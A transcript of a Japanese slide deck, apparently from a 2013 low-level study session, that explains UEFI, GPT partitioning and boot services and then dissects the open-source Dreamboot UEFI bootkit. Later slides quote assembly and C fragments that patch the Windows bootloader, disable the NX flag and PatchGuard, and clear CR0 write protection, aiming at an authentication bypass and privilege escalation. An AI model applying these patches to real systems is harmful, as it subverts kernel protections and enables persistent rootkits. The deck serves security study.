Upgrade to Pro — share decks privately, control downloads, hide ads and more …

EFI Undercover

EFI Undercover

第3回 ローレイヤー勉強会 発表資料 http://atnd.org/events/40773 #ll3rd

Yuma Kurogome

July 13, 2013
Tweet

More Decks by Yuma Kurogome

Other Decks in Programming

Transcript

  1. 自己紹介 • Yuma Kurogome(@ntddk) #include <ntddk.h> • 慶應義塾大学 SFC B1,

    武田研 • Synclogue Inc. • セプキャン2011, セキュキャン2013 • RCE, kernel hack
  2. リバースエンジニアリング necomimi • ロジアナ – αLow/Hi: リラックス – βLow/Hi: 活性化

    – γLow/Mid: ピキーン – δ: 深いリラックス – θ: 睡眠 • 脳波の異常検知? – fluent-plugin-serialport: ログ整形 – Jubatus: 機械学習
  3. UEFIとは • Intel → Unified EFI Forum EFI → UEFI,

    2.x系がリリース • 2009年頃から普及 – 2TBの壁を克服 – モジュラー型 – 高速起動
  4. 2TBの壁 • MBRのパーティションテーブルでは、開始セク タ値とセクタ数が 32bit(4G sectors) • 4G sectors *

    512byte = 2TB • パーティションテーブルかセクタサイズを変え るしかない → 互換性? • GPTを前提としているUEFIに移行! • 32bit LBA → 64bit LBA
  5. MBRとGPTの比較 • パーティション: 4個 → 128個 • セクタアドレス長: 32bit →

    64bit • パーティションタイプ: 1byte → 16byte GUID • ブートフラグ: 1byte→ 属性フラグ 8bytes • パーティション名: 72bytes UTF-16 • バックアップのパーティションテーブル領域
  6. GPT

  7. GPT パーティションエントリ オフセット サイズ 内容 0 16byte パーティションタイプGUID 16 16byte

    パーティーションユニークGUID 32 8byte 開始LBAアドレス 40 8byte 終了LBAアドレス 48 8byte 属性フラグ 56 72byte パーティション名 EFIシステムパーティションなら {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}
  8. UEFI APPLICATIONの種類 • 2種類のUEFI Application – 通常のUEFI Application: 終了時にExit()をコール し、

    UEFI Shellなどに制御を戻す – OS Loader: 終了時にExitBootServices()をコール し、 UEFIが利用していた資源を開放して制御をOS へ移す
  9. RUNTIME SERVICE • ExitBootServices()後もUEFIがOSに対して提供 するサービス • 最低限の機能のみ • Time (GetTime,

    SetTime...) • Virtual Memory (SetirtualAddressMap...) • Variable Services (GetVariable...) • Miscellaneous Services(ResetSystem...)
  10. BOOT SERVICE • ExitBootServices()までUEFI Applicationに提供 するサービス – Task Priority Services

    (RaiseTPL...) – Memory Services (AllocatePages...) – Event & Timer Services (CreateEvent, SetTimer...) – Protocol Handler Services (HandleProtocol...) – Image Services (LoadImage, StartImage...) – Miscellaneous Services (Stall, CopyMem...) – Open and Close Protocol Services (OpenProtocol...) – Library Services (LocateProtocol...) – 32bit CRC Services (CalculateCrc32...)
  11. Hello, World! #include <UEFI_HelloWorld.h> EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN

    EFI_SYSTEM_TABLE *SystemTable) { Print (L"Hello, World!"); return EFI_SUCCESS; }
  12. Hello, World! EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)

    引数は2個(ImageHandle, SystemTable) • ImageHandleはロードされたUEFI Applicationの イメージファイルに対するハンドル • SystemTableを経由して全てのUEFI APIへアクセ ス
  13. EFI System Table typedef struct { EFI_TABLE_HEADER Hdr; CHAR16 *FirmwareVendor;

    UINT32 FirmwareRevision; EFI_HANDLE ConsoleInHandle; // 例えばこれはコンソール出力、ポインタが用意されてる EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn; EFI_HANDLE ConsoleOutHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; EFI_HANDLE StandardErrorHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *StdErr; EFI_RUNTIME_SERVICES *RuntimeServices; EFI_BOOT_SERVICES *BootServices; UINTN NumberOfTableEntries; EFI_CONFIGURATION_TABLE *ConfigurationTable; } EFI_SYSTEM_TABLE; UEFI Applicationに対して公開するインタフェー スが全て詰め込まれた構造体
  14. Protocols • IP4/6, UDP/TCP 4/6, ARP, DHCP4/6, MTFP4/6, FTP, PXE,

    iSCSI • VLAN, EAP, IPsec (IKEv2) • PCI, USB, SCSI, AHCI, removable media • GPT, vFAT • Console, Graphical Mode, Human Interface • User Identi cation fi • ACPI, SMRAM • Debugger • Compression • EFI Byte Code Virtual Machine • Firmware management
  15. locate Windows bootloader BS->LocateHandleBuffer(ByProtocol,&FileSystemProtocol,NULL,&nbHdles,&hdleArr); for(i=0;i<nbHdles;i++) { err = BS->HandleProtocol(hdleArr[i],&FileSystemProtocol,(void **)&ioDevice);

    if(err != EFI_SUCCESS) continue; err=ioDevice->OpenVolume(ioDevice,&handleRoots); if(err != EFI_SUCCESS) continue; err = handleRoots->Open(handleRoots,&bootFile,WINDOWS_BOOTX64_IMAGEPATH, EFI_FILE_MODE_READ,EFI_FILE_READ_ONLY); if(err == EFI_SUCCESS) { handleRoots->Close(bootFile); *LoaderDevicePath = FileDevicePath(handleArray[i],WIN_BOOTX64_IMAGEPATH); break; } }
  16. UEFIのSDK • EDK II – デファクトスタンダードだが・・・・・・ – trunkだと良くハマる • UDK2010

    – IntelによるEDK IIのstable – 機能はEDK IIに劣る • gnu-efi – UEFI ApplicationのみのためのLightweight実装 –
  17. UEFIのSDK • EFI Toolkit – TianoCoreが開発するOSS – gnu-efiのもと – EFI

    Shell開発にはEDKのほうが強いが、スタンドア ローンならこちらに分がある
  18. VMでのUEFI開発 • Virtual Box – ネイティブに実行可能 – Windowsのブートはできなかった • VMWare

    – vmxを編集 • firmware = "efi" – gdbスタブ • debugStub.listen.guest64 = "TRUE" • debugStub.listen.guest64.remote = "TRUE" • debugStub.hideBreakpoints = "TRUE" • monitor.debugOnStartGuest64 = "TRUE"
  19. PatchGuardとは • 64bit版Windowsに実装されたカーネル保護機構 • Kernel Patch Protection(KPP)とも • カーネル領域の変更を監視 –

    SDT: 全システムコールのテーブル – IDT: 割り込み – GDT: セグメントディスクリプタを置く領域 – カーネルからアロケートされていないカーネルス タック • 多くのrootkitは時代遅れに
  20. PatchGuard • Bypassing PatchGuardで検索 • How to boost PatchGuard :

    it's all about gong fu! www.zer0mem.sk/?p=271 • RebootすることなくPatchGuardを突破する
  21. Dreamboot: A UEFI Bootkit • Sebastien kaczmarek, Quarkslab. • HITB2013

    Amsterdamにて発表された • オープンソース!!! • https://github.com/quarkslab/dreamboot
  22. Dreamboot: A UEFI Bootkit • ブートローダ – bootmgfw.efiのフック – winload.efiのフック

    • カーネル – PatchGuardの無効化 – Dreambootのコードをリロケート – PsSetLoadImageNotifyRoutine()
  23. QuarksMain.c • ハードウェアからブートローダを検索 – EFI_FILE_IO_INTERFACEを利用 • PEのロード BS->LoadImage(TRUE,ParentHdle,WinLdrDp,NULL,0,&hImg); • PEメモリレイアウトの取得

    BS->HandleProtocol(hImg,&LoadedImageProtocol, (void **)&img_inf); • PEにパッチ *((byte *)(img_inf->ImageBase) + offset = NOP; • ブート BS->StartImage(hImg,(UINTN *)NULL,(CHAR16 **)NULL);
  24. hooks.asm • NX flagの書き換え lea rcx, NTOSKRNL_PATTERN_NXFlag sub rbx,NTOSKRNL_PATTERN_NXFlag_size push

    rdx mov rax,rdx mov rdx,NTOSKRNL_PATTERN_NXFlag_size call kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov byte ptr[rax],0EBh mov NTOSKRNL_NxPatchAddr,rax
  25. hooks.asm • PatchGuardの書き換え mov rax,[rsp] lea rcx,NTOSKRNL_PATTERN_PATCHGUARD mov rdx,NTOSKRNL_PATTERN_PATCHGUARD_size call

    kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov dword ptr[rax+2],090D23148h mov word ptr[rax+6],09090h mov byte ptr[rax+8],090h
  26. hooks.asm • PEのパース • NtSetInformationThreadのフック – 通常smss.exeの作成時あるいはシステムプロセスの 作成中に呼ばれるが、無効に • NX

    bit無効化後にntoskrnlにペイロードを挿入 • PEが実行される前にパッチできる • Bypassing local authentication + Priviledge escalation
  27. hooks.asm • WP flagの書き換え • rootkitでいつも書くアレ CR0_WP_CLEAR_MASK equ 0fffeffffh CR0_WP_SET_MASK

    equ 010000h cli mov rcx,cr0 and rcx, CR0_WP_CLEAR_MASK ; Unprotect kernel memory mov cr0,rcx mov rcx,cr0 or rcx, CR0_WP_SET_MASK ; Restore memory protection mov cr0,rcx sti
  28. やりたいこと • 見てろよKaspersky • UEFI basedなマルウェア対策? • JIANG Zhengwei,WANG Xiaozhen,LIU

    Baoxu2. UEFI malicious behavior detection model based on minimal attack tree. Computer Engineering and Applications,2012,48(32):14-17 とか、そのあたり